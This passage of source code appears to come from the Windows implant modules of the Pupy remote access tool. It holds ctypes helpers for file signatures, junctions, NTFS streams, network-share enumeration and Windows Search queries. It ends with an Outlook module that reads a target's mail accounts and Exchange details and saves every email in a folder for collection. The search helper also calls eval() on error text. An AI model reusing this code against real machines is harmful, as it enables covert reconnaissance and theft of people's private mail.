        ('dwFileFlagsMask', DWORD),
        ('dwFileFlags', DWORD),
        ('dwFileOS', DWORD),
        ('dwFileType', DWORD),
        ('dwFileSubtype', DWORD),
        ('dwFileDateMS', DWORD),
        ('dwFileDateLS', DWORD)
    )


class LANGANDCODEPAGE(Structure):
    _fields_ = (
        ('wLanguage', WORD),
        ('wCodePage', WORD)
    )


class WINTRUST_FILE_INFO(Structure):
    _fields_ = (
        ('cbStruct', DWORD),
        ('pcwszFilePath', LPCWSTR),
        ('hFile', HANDLE),
        ('pgKnownSubject', LPVOID),
    )

    def __init__(self, filename):
        self.cbStruct = sizeof(self)
        self.pcwszFilePath = filename
        self.hFile = None
        self.pgKnownSubject = None


class WINTRUST_DATA(Structure):
    _fields_ = (
        ('cbStruct', DWORD),
        ('pPolicyCallbackData', LPVOID),
        ('pSIPClientData', LPVOID),
        ('dwUIChoice', DWORD),
        ('fdwRevocationChecks', DWORD),
        ('dwUnionChoice', DWORD),
        ('pvInfo', LPVOID),
        ('dwStateAction', DWORD),
        ('hWVTStateData', HANDLE),
        ('pwszURLReference', LPCWSTR),
        ('dwProvFlags', DWORD),
        ('dwUIContext', DWORD),
        ('pSignatureSettings', LPVOID),
    )

    def __init__(self, filename):
        self._pFile = WINTRUST_FILE_INFO(filename)

        self.cbStruct = DWORD(sizeof(self))
        self.pPolicyCallbackData = None
        self.pSIPClientData = None
        self.dwUIChoice = WTD_UI_NONE
        self.fdwRevocationChecks = WTD_REVOKE_NONE
        self.dwUnionChoice = WTD_CHOICE_FILE
        self.dwStateAction = WTD_STATEACTION_VERIFY
        self.hWVTStateData = None
        self.pwszURLReference = None
        self.dwUIContext = 0
        self.pvInfo = addressof(self._pFile)


class GUID(Structure):
    _fields_ = (
        ('Data1', DWORD),
        ('Data2', WORD),
        ('Data3', WORD),
        ('Data4', BYTE*8)
    )

    def __init__(self, u1, u2, u3, u4):
        self.Data1 = u1
        self.Data2 = u2
        self.Data3 = u3

        if isinstance(u4, bytes):
            self.Data4 = (BYTE*8)(*u4[:8])
        else:
            self.Data4 = (BYTE*8)(*u4)


WINTRUST_ACTION_GENERIC_VERIFY_V2 = GUID(
    0xaac56b, 0xcd44, 0x11d0, [
        0x8c, 0xc2, 0x0, 0xc0, 0x4f, 0xc2, 0x95, 0xee
    ]
)


def getfilever(filepath, flags=FILE_VER_GET_NEUTRAL, throw=False):
    if not ver_lib:
        return {}

    result = {}

    dwReserved = DWORD(0)
    dwVersionSize = GetFileVersionInfoSizeExW(
        flags, filepath, byref(dwReserved)
    )
    if dwVersionSize == 0:
        if throw:
            raise WinError(get_last_error())

        return result

    pBuffer = create_string_buffer(dwVersionSize)
    bResult = GetFileVersionInfoExW(
        flags, filepath, 0, dwVersionSize, byref(pBuffer)
    )
    if not bResult:
        if throw:
            raise WinError(get_last_error())

        return result

    info = FIXEDFILEINFO()
    dwSize = DWORD(0)
    pvData = LPVOID()

    bResult = VerQueryValueW(pBuffer, '\\', byref(pvData), byref(dwSize))
    if bResult:
        info = cast(pvData, POINTER(FIXEDFILEINFO)).contents

        result['FileVersion'] = '{1}.{0}.{3}.{2}'.format(
            *unpack(
                '<HHHH', pack(
                    '<II', info.dwFileVersionMS, info.dwFileVersionLS))
        )

        result['ProductVersion'] = '{1}.{0}.{3}.{2}'.format(
            *unpack(
                '<HHHH', pack(
                    '<II', info.dwProductVersionMS, info.dwProductVersionLS))
        )

        flags = []
        valid_flags = info.dwFileFlags & info.dwFileFlagsMask
        if valid_flags:
            for flag, value in VS_FF_STR.items():
                if _bit(flag, valid_flags):
                    flags.append(value)

        result['Flags'] = flags

        for flag, value in VFT_STR.items():
            if _bit(flag, info.dwFileType):
                if flag == VFT_UNKNOWN:
                    break

                elif flag == VFT_DRV:
                    for subflag, subvalue in VFT2_DRV_STR.items():
                        if _bit(subflag, info.dwFileSubtype):
                            value += '(' + subvalue + ')'
                            break
                elif flag == VFT_FONT:
                    for subflag, subvalue in VFT2_FONT_STR.items():
                        if _bit(subflag, info.dwFileSubtype):
                            value += '(' + subvalue + ')'
                            break

                elif flag == VFT_VXD:
                    value += '(VxD={:08x})'.format(info.dwFileSubtype)

                result['Type'] = value
                break

        timestamp = info.dwFileDateMS << 32 | info.dwFileDateLS
        result['Timestamp'] = timestamp

    bResult = VerQueryValueW(
        pBuffer, '\\VarFileInfo\\Translation', byref(pvData), byref(dwSize))

    if bResult:
        nRecords = dwSize.value // sizeof(LANGANDCODEPAGE)

        records = cast(pvData, POINTER(LANGANDCODEPAGE * nRecords)).contents
        translations = {}

        for translation in records:
            strings = {}

            for string in LOCALIZED_STRINGS:
                varpath = '\\\\StringFileInfo\\{:04x}{:04x}\\{}'.format(
                    translation.wLanguage, translation.wCodePage, string
                )

                bResult = VerQueryValueW(
                    pBuffer, varpath, byref(pvData), byref(dwSize)
                )
                if not bResult:
                    continue

                strings[string] = cast(pvData, LPCWSTR).value

            if strings:
                translations[translation.wLanguage] = strings

        if translations:
            found = False
            for preferred_translation in (0, 2057):
                if preferred_translation in translations:
                    result.update(translations[preferred_translation])
                    found = True
                    break

            if not found:
                # Just pick any
                result.update(next(iter(translations.values())))

    return result


def getfilecert(filepath, throw=False):
    dwEncoding = DWORD()
    dwContentType = DWORD()
    dwFormatType = DWORD()
    hStore = LPVOID()
    hMsg = LPVOID()

    bResult = CryptQueryObject(
        CERT_QUERY_OBJECT_FILE,
        filepath,
        CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
        CERT_QUERY_FORMAT_FLAG_BINARY,
        0,
        byref(dwEncoding), byref(dwContentType),
        byref(dwFormatType), byref(hStore),
        byref(hMsg), None
    )

    if not bResult:
        if throw:
            raise WinError(get_last_error())

        return {}

    try:
        dwCertsCount = DWORD(-1)
        dwArgSize = DWORD(sizeof(dwCertsCount))

        bResult = CryptMsgGetParam(
            hMsg,
            CMSG_ATTR_CERT_COUNT_PARAM,
            0,
            byref(dwCertsCount), byref(dwArgSize)
        )

        if not bResult:
            if throw:
                raise WinError(get_last_error())

            return {}

        certificates = []

        for idx in xrange(dwCertsCount.value):
            dwArgSize = DWORD(-1)
            CryptMsgGetParam(
                hMsg,
                CMSG_ATTR_CERT_PARAM,
                idx,
                None, byref(dwArgSize)
            )

            if dwArgSize == DWORD(-1):
                if throw:
                    raise WinError(get_last_error())
                break

            pBuffer = create_string_buffer(dwArgSize.value)

            bResult = CryptMsgGetParam(
                hMsg,
                CMSG_ATTR_CERT_PARAM,
                idx,
                byref(pBuffer), byref(dwArgSize)
            )

            if not bResult:
                if throw:
                    raise WinError(get_last_error())

                continue

            certificates.append(pBuffer.raw)

        return {
            'Certificates': certificates
        }

    finally:
        if hStore:
            CertCloseStore(hStore, 0)

        if hMsg:
            CryptMsgClose(hMsg)


def getfiletrust(filepath):
    trust = WINTRUST_DATA(filepath)
    lStatus = WinVerifyTrust(
        None,
        byref(WINTRUST_ACTION_GENERIC_VERIFY_V2),
        byref(trust)
    )

    if lStatus == 0:
        return {
            'Signature': 'VALID'
        }

    return {
        'Signature': TRUST_E_STR.get(
            lStatus, 'Error: {:08x}'.format(lStatus))
    }


def getfilesec(filepath):
    header = ''

    filepath = path.expanduser(filepath)
    filepath = path.expandvars(filepath)

    if path.isfile(filepath):
        try:
            with open(filepath, 'rb') as fileobj:
                header = fileobj.read(4096)
        except (OSError, IOError):
            pass

    try:
        filestat = stat(filepath)
        owner, group, acls = getfileowneracls(filepath)
        streams = has_xattrs(filepath)
        link = None

    except Exception as e:
        fix_exception_encoding(e)
        raise

    try:
        if islink(filepath):
            link = readlink(filepath)
    except (WindowsError, ValueError, OSError, IOError):
        pass

    mode = mode_to_letter(filestat.st_mode)

    extras = {
        'ACLs': [unicode(x) for x in acls] if acls else None,
        'Streams': streams,
        'Link': link,
        'Version': getfilever(filepath),
    }

    certs = getfilecert(filepath)
    if certs:
        extras.update(certs)
        extras.update(getfiletrust(filepath))

    return \
        int(filestat.st_ctime), int(filestat.st_atime), \
        int(filestat.st_mtime), filestat.st_size, owner, group, \
        header, mode, {k: v for k, v in extras.items() if v}


================================================
FILE: pupy/packages/windows/all/isearch.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import adodbapi
import sys
import datetime

PROVIDER = 'provider=Search.CollatorDSO.1;EXTENDED?PROPERTIES="Application=Windows"'

def query(sql, limit):
    data = []
    error = None
    idx = 0
    cidx = 0

    encoding = sys.getfilesystemencoding()

    conn = adodbapi.connect(PROVIDER)

    try:
        cursor = conn.cursor()
        cursor.execute(sql)
        for idx, record in enumerate(cursor):

            if idx >= limit:
                break

            line = []
            for cidx, column in enumerate(record):
                if type(column) == str:
                    column = column.decode(encoding)
                elif type(column) == datetime.datetime:
                    column = int((
                        column - datetime.datetime.utcfromtimestamp(0)
                    ).total_seconds())
                line.append(column)
            data.append(tuple(line))

    except adodbapi.apibase.DatabaseError as e:
        # ZOMG
        if hasattr(e, 'message'):
            parts = e.message.split('\n')
        else:
            parts = str(e).split('\n')

        code = eval(parts[0])[1].decode(encoding)
        error = '\n'.join(parts[1:]) + '\n' + code

    finally:
        conn.close()

    return idx, cidx, data, error


================================================
FILE: pupy/packages/windows/all/junctions.py
================================================
# -*- coding: utf-8 -*-
# https://eklausmeier.wordpress.com/2015/10/27/working-with-windows-junctions-in-python/

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from ctypes import (
    WinDLL, POINTER, c_ubyte, Structure, addressof,
    Union, WinError, c_buffer, byref
)
from ctypes.wintypes import (
    DWORD, LPCWSTR, HANDLE, LPVOID, USHORT, ULONG,
    WCHAR, BOOL
)

import stat
import os

kernel32 = WinDLL('kernel32')
LPDWORD = POINTER(DWORD)
UCHAR = c_ubyte

GetFileAttributesW = kernel32.GetFileAttributesW
GetFileAttributesW.restype = DWORD
GetFileAttributesW.argtypes = (LPCWSTR,) #lpFileName In

INVALID_FILE_ATTRIBUTES = 0xFFFFFFFF
FILE_ATTRIBUTE_REPARSE_POINT = 0x00400

CreateFileW = kernel32.CreateFileW
CreateFileW.restype = HANDLE
CreateFileW.argtypes = (LPCWSTR, #lpFileName In
                        DWORD,   #dwDesiredAccess In
                        DWORD,   #dwShareMode In
                        LPVOID,  #lpSecurityAttributes In_opt
                        DWORD,   #dwCreationDisposition In
                        DWORD,   #dwFlagsAndAttributes In
                        HANDLE)  #hTemplateFile In_opt

CloseHandle = kernel32.CloseHandle
CloseHandle.restype = BOOL
CloseHandle.argtypes = (HANDLE,) #hObject In

INVALID_HANDLE_VALUE = HANDLE(-1).value
OPEN_EXISTING = 3
FILE_FLAG_BACKUP_SEMANTICS = 0x02000000
FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000

DeviceIoControl = kernel32.DeviceIoControl
DeviceIoControl.restype = BOOL
DeviceIoControl.argtypes = (HANDLE,  #hDevice In
                            DWORD,   #dwIoControlCode In
                            LPVOID,  #lpInBuffer In_opt
                            DWORD,   #nInBufferSize In
                            LPVOID,  #lpOutBuffer Out_opt
                            DWORD,   #nOutBufferSize In
                            LPDWORD, #lpBytesReturned Out_opt
                            LPVOID)  #lpOverlapped Inout_opt

FSCTL_GET_REPARSE_POINT = 0x000900A8
IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003
IO_REPARSE_TAG_SYMLINK = 0xA000000C
MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 0x4000

class GENERIC_REPARSE_BUFFER(Structure):
    _fields_ = (('DataBuffer', UCHAR * 1),)


class SYMBOLIC_LINK_REPARSE_BUFFER(Structure):
    _fields_ = (('SubstituteNameOffset', USHORT),
                ('SubstituteNameLength', USHORT),
                ('PrintNameOffset', USHORT),
                ('PrintNameLength', USHORT),
                ('Flags', ULONG),
                ('PathBuffer', WCHAR * 1))

    @property
    def PrintName(self):
        arrayt = WCHAR * (self.PrintNameLength // 2)
        offset = type(self).PathBuffer.offset + self.PrintNameOffset
        return arrayt.from_address(addressof(self) + offset).value


class MOUNT_POINT_REPARSE_BUFFER(Structure):
    _fields_ = (('SubstituteNameOffset', USHORT),
                ('SubstituteNameLength', USHORT),
                ('PrintNameOffset', USHORT),
                ('PrintNameLength', USHORT),
                ('PathBuffer', WCHAR * 1))

    @property
    def PrintName(self):
        arrayt = WCHAR * (self.PrintNameLength // 2)
        offset = type(self).PathBuffer.offset + self.PrintNameOffset
        return arrayt.from_address(addressof(self) + offset).value


class REPARSE_DATA_BUFFER(Structure):
    class REPARSE_BUFFER(Union):
        _fields_ = (('SymbolicLinkReparseBuffer',
                        SYMBOLIC_LINK_REPARSE_BUFFER),
                    ('MountPointReparseBuffer',
                        MOUNT_POINT_REPARSE_BUFFER),
                    ('GenericReparseBuffer',
                        GENERIC_REPARSE_BUFFER))
    _fields_ = (('ReparseTag', ULONG),
                ('ReparseDataLength', USHORT),
                ('Reserved', USHORT),
                ('ReparseBuffer', REPARSE_BUFFER))
    _anonymous_ = ('ReparseBuffer',)


def islink(path):
    result = GetFileAttributesW(path)
    if result == INVALID_FILE_ATTRIBUTES:
        raise WinError()
    return bool(result & FILE_ATTRIBUTE_REPARSE_POINT)

def readlink(path):
    reparse_point_handle = CreateFileW(
        path,
        0,
        0,
        None,
        OPEN_EXISTING,
        FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
        None)
    if reparse_point_handle == INVALID_HANDLE_VALUE:
        raise WinError()

    target_buffer = c_buffer(MAXIMUM_REPARSE_DATA_BUFFER_SIZE)
    n_bytes_returned = DWORD()
    io_result = DeviceIoControl(
        reparse_point_handle,
        FSCTL_GET_REPARSE_POINT,
        None, 0,
        target_buffer, len(target_buffer),
        byref(n_bytes_returned),
        None)

    CloseHandle(reparse_point_handle)
    if not io_result:
        raise WinError()

    rdb = REPARSE_DATA_BUFFER.from_buffer(target_buffer)
    if rdb.ReparseTag == IO_REPARSE_TAG_SYMLINK:
        return rdb.SymbolicLinkReparseBuffer.PrintName
    elif rdb.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT:
        return rdb.MountPointReparseBuffer.PrintName

    raise ValueError("not a link")

class LinkStat(object):
    st_mode = stat.S_IFLNK
    st_uid = 0
    st_gid = 0
    st_size = 0
    st_mtime = 0
    st_rdev = 0

def lstat(path):
    try:
        is_link = islink(path)
    except WindowsError:
        is_link = False

    if is_link:
        return LinkStat()
    else:
        return os.stat(path)


================================================
FILE: pupy/packages/windows/all/netresources.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from ctypes import (
    WinDLL, Structure, POINTER, create_string_buffer,
    cast, c_void_p, WinError, byref
)

from ctypes.wintypes import (
    DWORD, LPCWSTR, HANDLE
)

from psutil import disk_usage

import sys

if sys.version_info.major > 2:
    unicode = str


class NETRESOURCE(Structure):
    _fields_ = (
        ('dwScope', DWORD),
        ('dwType', DWORD),
        ('dwDisplayType', DWORD),
        ('dwUsage', DWORD),
        ('lpLocalName', LPCWSTR),
        ('lpRemoteName', LPCWSTR),
        ('lpComment', LPCWSTR),
        ('lpProvider', LPCWSTR),
    )

PNETRESOURCE = POINTER(NETRESOURCE)
PHANDLE = POINTER(HANDLE)
PDWORD = POINTER(DWORD)
PVOID = c_void_p

RESOURCE_CONNECTED = 1
RESOURCE_GLOBALNET = 2
RESOURCE_REMEMBERED = 3
RESOURCE_RECENT = 4
RESOURCE_CONTEXT = 5

SCOPE_TEXT = {
    RESOURCE_CONNECTED: 'connected',
    RESOURCE_GLOBALNET: 'global',
    RESOURCE_REMEMBERED: 'remembered',
    RESOURCE_RECENT: 'recent',
    RESOURCE_CONTEXT: 'context'
}

RESOURCETYPE_ANY = 0
RESOURCETYPE_DISK = 1
RESOURCETYPE_PRINT = 2

RESOURCETYPE_TEXT = {
    RESOURCETYPE_ANY: 'any',
    RESOURCETYPE_DISK: 'disk',
    RESOURCETYPE_PRINT: 'print'
}

RESOURCETYPE_RESERVED = 8
RESOURCETYPE_UNKNOWN = 0xFFFFFFFF

RESOURCEUSAGE_CONNECTABLE = 0x00000001
RESOURCEUSAGE_CONTAINER = 0x00000002
RESOURCEUSAGE_NOLOCALDEVICE = 0x00000004
RESOURCEUSAGE_SIBLING = 0x00000008
RESOURCEUSAGE_ATTACHED = 0x00000010

RESOURCEUSAGE_TEXT = {
    RESOURCEUSAGE_CONNECTABLE: 'connectable',
    RESOURCEUSAGE_CONTAINER: 'container',
    RESOURCEUSAGE_NOLOCALDEVICE: 'nolocaldevice',
    RESOURCEUSAGE_SIBLING: 'sibling',
    RESOURCEUSAGE_ATTACHED: 'attached'
}

RESOURCEUSAGE_ALL = \
    RESOURCEUSAGE_CONNECTABLE | \
    RESOURCEUSAGE_CONTAINER | \
    RESOURCEUSAGE_ATTACHED

RESOURCEUSAGE_RESERVED = 0x80000000
RESOURCEDISPLAYTYPE_GENERIC = 0
RESOURCEDISPLAYTYPE_DOMAIN = 1
RESOURCEDISPLAYTYPE_SERVER = 2
RESOURCEDISPLAYTYPE_SHARE = 3
RESOURCEDISPLAYTYPE_FILE = 4
RESOURCEDISPLAYTYPE_GROUP = 5
RESOURCEDISPLAYTYPE_NETWORK = 6
RESOURCEDISPLAYTYPE_ROOT = 7
RESOURCEDISPLAYTYPE_SHAREADMIN = 8
RESOURCEDISPLAYTYPE_DIRECTORY = 9
RESOURCEDISPLAYTYPE_TREE = 10

RESOURCEDISPLAYTYPE_TEXT = {
    RESOURCEDISPLAYTYPE_GENERIC: 'generic',
    RESOURCEDISPLAYTYPE_DOMAIN: 'domain',
    RESOURCEDISPLAYTYPE_SERVER: 'server',
    RESOURCEDISPLAYTYPE_SHARE: 'share',
    RESOURCEDISPLAYTYPE_FILE: 'file',
    RESOURCEDISPLAYTYPE_GROUP: 'group',
    RESOURCEDISPLAYTYPE_NETWORK: 'network',
    RESOURCEDISPLAYTYPE_ROOT: 'root',
    RESOURCEDISPLAYTYPE_SHAREADMIN: 'shareadmin',
    RESOURCEDISPLAYTYPE_DIRECTORY: 'dir',
    RESOURCEDISPLAYTYPE_TREE: 'tree'
}

ERROR_NO_MORE_ITEMS = 259
ERROR_EXTENDED = 1208

mpr = WinDLL('mpr', use_last_error=True)

WNetEnumResource = mpr.WNetEnumResourceW
WNetEnumResource.restype = DWORD
WNetEnumResource.argtypes = (
  HANDLE, PDWORD, PVOID, PDWORD
)

WNetOpenEnum = mpr.WNetOpenEnumW
WNetOpenEnum.restype = DWORD
WNetOpenEnum.argtypes = (
    DWORD, DWORD, DWORD, PNETRESOURCE, PHANDLE
)

WNetCloseEnum = mpr.WNetCloseEnum
WNetCloseEnum.argtypes = (HANDLE,)


def EnumNetResources(scope=RESOURCE_CONNECTED, lpnr=None):
    hEnum = HANDLE()

    dwResult = WNetOpenEnum(
        scope,
        RESOURCETYPE_ANY,
        0,
        lpnr,
        byref(hEnum)
    )

    if dwResult == ERROR_EXTENDED:
        return []
    elif dwResult != 0:
        raise WinError(dwResult)

    results = []

    try:
        while True:
            dEntries = DWORD(-1)
            lpnrLocal = create_string_buffer(128 * 1024)
            cbBuffer = DWORD(len(lpnrLocal))

            dwResultEnum = WNetEnumResource(
                hEnum,
                byref(dEntries),
                byref(lpnrLocal),
                byref(cbBuffer)
            )

            if dwResultEnum == ERROR_NO_MORE_ITEMS:
                break
            elif dwResultEnum != 0:
                raise WinError(dwResultEnum)

            entries = cast(
                lpnrLocal, POINTER(NETRESOURCE * dEntries.value)
            ).contents

            for entry in entries:
                if not entry.lpProvider:
                    break

                usage_flags = []

                for value, name in RESOURCEUSAGE_TEXT.items():
                    if (entry.dwUsage & value) == value:
                        usage_flags.append(name)

                result = {
                    'scope': SCOPE_TEXT.get(entry.dwScope, 'unknown'),
                    'type': RESOURCETYPE_TEXT.get(entry.dwType, 'any'),
                    'displayType': RESOURCEDISPLAYTYPE_TEXT.get(
                        entry.dwDisplayType, 'any'),
                    'usage': usage_flags,
                    'local': unicode(
                        entry.lpLocalName) if entry.lpLocalName else None,
                    'remote': unicode(
                        entry.lpRemoteName) if entry.lpRemoteName else None,
                    'comment': unicode(
                        entry.lpComment) if entry.lpComment else None,
                    'provider': unicode(
                        entry.lpProvider) if entry.lpProvider else None,
                }

                if (entry.dwUsage & RESOURCEUSAGE_CONTAINER) == RESOURCEUSAGE_CONTAINER:
                    result['childs'] = EnumNetResources(scope, byref(entry))

                if result['type'] == 'disk' and result['scope'] == 'connected':
                    try:
                        usage = disk_usage(result['remote'])
                        result.update({
                            'total': usage.total,
                            'used': usage.used,
                            'free': usage.free,
                            'percent': usage.percent
                        })
                    except WindowsError:
                        pass

                results.append(result)

        return results

    finally:
        WNetCloseEnum(hEnum)


def EnumAllNetResources():
    results = {}
    for value, text in SCOPE_TEXT.items():
        try:
            results[text] = EnumNetResources(value)
        except WinError:
            pass

    return results


================================================
FILE: pupy/packages/windows/all/ntfs_streams.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = [
  'get_streams'
]

from sys import getfilesystemencoding

from ctypes import WinDLL, c_void_p, byref, Structure
from ctypes import c_longlong as LONGLONG
from ctypes.wintypes import (
    LPWSTR, DWORD, WCHAR, HANDLE, BOOL
)

kernel32 = WinDLL('kernel32')

class LARGE_INTEGER_UNION(Structure):
    _fields_ = [
        ("QuadPart", LONGLONG),
    ]

class WIN32_FIND_STREAM_DATA(Structure):
    _fields_ = [
        ("StreamSize", LARGE_INTEGER_UNION),
        ("cStreamName", WCHAR * (260+36+1)),
    ]

try:
    FindFirstStreamW = kernel32.FindFirstStreamW
    FindFirstStreamW.argtypes = [
        LPWSTR, DWORD, c_void_p, DWORD
    ]
    FindFirstStreamW.restype = HANDLE

    FindNextStreamW = kernel32.FindNextStreamW
    FindNextStreamW.argtypes = [
        HANDLE, c_void_p
    ]
    FindNextStreamW.restype = BOOL

    FindClose = kernel32.FindClose
    FindClose.argtypes = [
        HANDLE
    ]

    NTFS_STREAMS_API_PRESENT = True

except AttributeError:
    # Unsupported version of windows
    FindFirstStreamW = None
    FindNextStreamW = None
    FindClose = None

    NTFS_STREAMS_API_PRESENT = False


INVALID_HANDLE_VALUE = c_void_p(-1).value

def get_streams(filename):
    if not NTFS_STREAMS_API_PRESENT:
        return []

    if type(filename) == bytes:
        filename = filename.decode(
            getfilesystemencoding())

    file_infos = WIN32_FIND_STREAM_DATA()

    streams = FindFirstStreamW(filename, 0, byref(file_infos), 0)
    if streams == INVALID_HANDLE_VALUE:
        return []

    stream_name = file_infos.cStreamName
    stream_list = list()

    if stream_name:
        if not stream_name.startswith('::'):
            stream_list.append(stream_name.split(':')[1])

        while FindNextStreamW(streams, byref(file_infos)):
            stream_name = file_infos.cStreamName
            if not stream_name.startswith('::'):
                stream_list.append(stream_name.split(':')[1])

    FindClose(streams)
    return stream_list


================================================
FILE: pupy/packages/windows/all/outlook.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import logging
import time

from collections import OrderedDict
import win32com
import win32com.client
import glob
import re

class outlook():
    '''
    '''

    OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
    OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
    OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'}
    OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'}

    def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
        '''
        '''
        self.outlook = None
        self.mapi = None
        self.foldersAndSubFolders = None
        self.folderId = folderId
        self.folderIndex = folderIndex
        self.msgSaveType = msgSaveType
        self.inbox = None
        self.constants = None
        self.sleepTime = sleepTime
        self.remoteTempFolder = os.path.expandvars("%TEMP%")

    def outlookIsInstalled(self):
        '''
        returns True if Outlook is installed
        otherwise returns False
        '''
        try:
            win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
            return True
        except:
            return False


    def connect(self):
        '''
        Returns True if no error
        Otherise returns False
        '''
        try:
            self.outlook = win32com.client.Dispatch("Outlook.Application")
            #self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application")
            self.mapi = self.outlook.GetNamespace("MAPI")

            if self.folderId is None:
                self.setDefaultFolder(folderIndex=self.folderIndex)
            else:
                self.setFolderFromId(folderId=self.folderId)

            return True

        except:
            return False

    def getInformation(self):
        '''
        Returns Dictionnary
        '''
        info = OrderedDict()
        try:
            info['CurrentProfileName']=self.mapi.CurrentProfileName
        except Exception as e:
            logging.debug("Impossible to get CurrentProfileName configuration: {0}".format(e))
            info['CurrentProfileName']=""

            # Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
            # info['CurrentUserAddress']=repr(self.mapi.CurrentUser)
        try:
            info['SessionType']=self.outlook.Session.Type
        except Exception as e:
            logging.debug("Impossible to get SessionType configuration: {0}".format(e))
            info['SessionType']=""
        for i, anAccount in enumerate(self.outlook.Session.Accounts):
            try:
                info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName
            except Exception as e:
                logging.debug("Impossible to get DisplayName configuration: {0}".format(e))
                info['Account{0}-DisplayName'.format(i)]=""
            try:
                info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress
            except Exception as e:
                logging.debug("Impossible to get SmtpAddress configuration: {0}".format(e))
                info['Account{0}-SmtpAddress'.format(i)]=""
            try:
                info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml
            except Exception as e:
                logging.debug("Impossible to get AutoDiscoverXml configuration: {0}".format(e))
                info['Account{0}-AutoDiscoverXml'.format(i)]=""
            try:
                info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType]
            except Exception as e:
                logging.debug("Impossible to get AccountType configuration: {0}".format(e))
                info['Account{0}-AccountType'.format(i)]=""
            #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
        try:
            info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox.
        except Exception as e:
            logging.debug("Impossible to get ExchangeMailboxServerName configuration: {0}".format(e))
            info['ExchangeMailboxServerName']=""
        try:
            info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox.
        except Exception as e:
            logging.debug("Impossible to get ExchangeMailboxServerVersion configuration: {0}".format(e))
            info['ExchangeMailboxServerVersion']=""
        try:
            info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server)
        except Exception as e:
            logging.debug("Impossible to get Offline configuration: {0}".format(e))
            info['Offline']=""
        try:
            info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode]
            self.mapi.SendAndReceive(True)
        except Exception as e:
            logging.debug("Impossible to get ExchangeConnectionMode configuration: {0}".format(e))
            info['ExchangeConnectionMode']=None
        return info


    def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):
        '''
        Return None if folderIndex not found in OlDefaultFolders
        Otherwise returns Name of the folder
        '''

        for k in self.OL_DEFAULT_FOLDERS:
            if self.OL_DEFAULT_FOLDERS[k] == folderIndex:
                return k

        return ""

    def setDefaultFolder(self, folderIndex=None):
        '''
        See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
        Return True if done
        Otherwise returns False
        '''
        if folderIndex is None:
            folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']
        folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)
        if folderName is None:
            logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS))
            return False
        else:
            logging.debug("Moving outlook default folder to {0}".format(folderName))
            self.inbox = self.mapi.GetDefaultFolder(folderIndex)
            return True

    def setFolderFromId(self, folderId):
        '''
        See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
        Return True if done
        Otherwise returns False
        '''
        if folderId is None:
            logging.error("Impossible to set Outlook folder to None")
            return False
        else:
            logging.debug("Moving outlook default folder to {0}".format(folderId))
            self.inbox = self.mapi.GetFolderFromID(folderId)
            return True

    def getEmails(self):
        '''
        Returns a list which contains all mailitems
        '''
        emails = []
        logging.debug("Getting {0} emails...".format(self.getNbOfEmails()))
        for anEmail in self.inbox.Items:
            emails.append(anEmail)
        return emails

    def getAMailFile(self, mailItem):
        '''
        return pathToAMailFileOnTarget, nameOftheMailFile
        '''
        ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
        try:
            subjectCleaned = ''.join(subj for subj in mailItem.Subject.encode('ascii','ignore') if subj.isalnum())
            receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_')
        except Exception as e:
            logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
        filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
        path = os.path.join(self.remoteTempFolder,filename)
        logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
